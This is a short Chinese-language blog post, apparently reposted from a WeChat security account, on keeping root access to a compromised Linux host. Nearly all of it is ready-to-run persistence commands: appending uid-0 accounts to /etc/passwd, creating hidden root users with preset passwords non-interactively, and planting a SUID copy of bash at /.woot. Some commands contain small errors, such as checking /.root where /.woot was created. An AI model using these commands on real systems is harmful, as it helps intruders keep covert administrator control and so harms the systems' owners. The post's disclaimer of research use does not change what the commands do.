前提条件
root权限即可
允许uid=0的用户远程登录
echo "niuma:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd niuma #修改niuma的密码为niuma666
or
useradd -o -u 0 backdoor
不允许uid=0的用户远程登录
如果高权限用户不允许登录,我们可以增加一个普通用户进行远程登陆
echo "cainiao:x:1000:1000::/:/bin/sh" >> /etc/passwd #增加普通用户账号
passwd cainiao #修改cainiao的密码为cainiao666
管理员是怎么设置禁用远程登录的:https://cloud.tencent.com/developer/article/1519389
euid位0和具有suid权限的用户
# 复制bash二进制文件到根目录 并将其命名位.woot
cp /bin/bash /.woot
# 设置.suid位让.bash文件在执行时以拥有文件所有者(root)的权限运行
chmod 4755 /.woot
# 这里验证.suid位是否已经设置,输出中应该包含 `-rwsr-xr-x`,其中's'表示.suid位。
ls -al /.root
# 尝试执行新的SUID shell,但由于bash2的防护机制,可能会失败
# 此时,普通用户(fw)执行SUID shell,但由于bash2的保护措施,未能成功获取root权限。
id
# 使用 `-p` 参数进行权限提升: 使用 `-p` 参数运行SUID shell,成功获取root权限。
/.woot -p
# 查看当前用户信息:
id
# 还可以去找带有suid权限位的文件 当作权限维持的后门
find / -perm +4000 -ls
无回显交互添加高权限用户权限
需要执行两次
useradd caiji -u 0 -o -g root -G root|| echo "caiji666" | passwd --stdin caiji #创建账户caiji、密码caiji666且为root权限
在Ubuntu一些版本没有--stdin会报错,可以尝试下面这个命令
sudo useradd caiji -u 0 -o -g root -G root || echo caiji:123456 | chpasswd
无回显交互添加复杂密码高权限
需要执行两次
useradd -u 0 -o -g root -G root user2 |echo -e "w2ab2wsanw2ab2wsa"|passwd user2
# 密码为w2ab2wsa
无回显交互添加低用户权限
useradd test
echo "123456" | passwd --stdin test
原文始发于微信公众号(河马安全区):Linux权限维持-Backdoor User
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论